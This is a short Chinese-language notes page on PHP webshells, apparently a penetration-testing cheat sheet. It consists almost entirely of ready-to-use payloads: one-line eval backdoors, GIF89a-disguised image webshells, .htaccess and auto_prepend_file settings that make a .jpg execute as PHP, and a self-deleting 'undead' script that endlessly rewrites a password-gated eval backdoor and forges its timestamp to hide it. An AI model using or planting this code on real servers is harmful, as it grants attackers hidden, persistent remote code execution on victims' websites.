Glut4micum
0%

木马

发表于 分类于
一句话木马 常规： 特殊 图片马

木马

一句话木马

常规：

特殊

1
2
3
4
5
6
7
8
GIF89a //图片头文件
<script language="php">@eval($_REQUEST[1]);</script>
<?= eval($_POST[1]); ?>

<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>  #不需要开启参数设置
<% echo '123';%>   #开启配置参数asp_tags=on，并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关，但是只能在7.0以下可用。
1
2
3
<FilesMatch "1.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
1
2
GIF89a
auto_prepend_file = 1.jpg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GIF89a
<?php eval($_POST[1]); ?>

GIF89a
<script language="php">@eval($_REQUEST[1]);</script>

<?php 
ignore_user_abort(true);  #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0，即没有时间方面的限制。
unlink(__FILE__);  删除文件本身，以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .2.php');
    usleep(5000);
} 
?>

图片马

来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/tch6yggtc5re1mcw
语雀文档ID: 168094086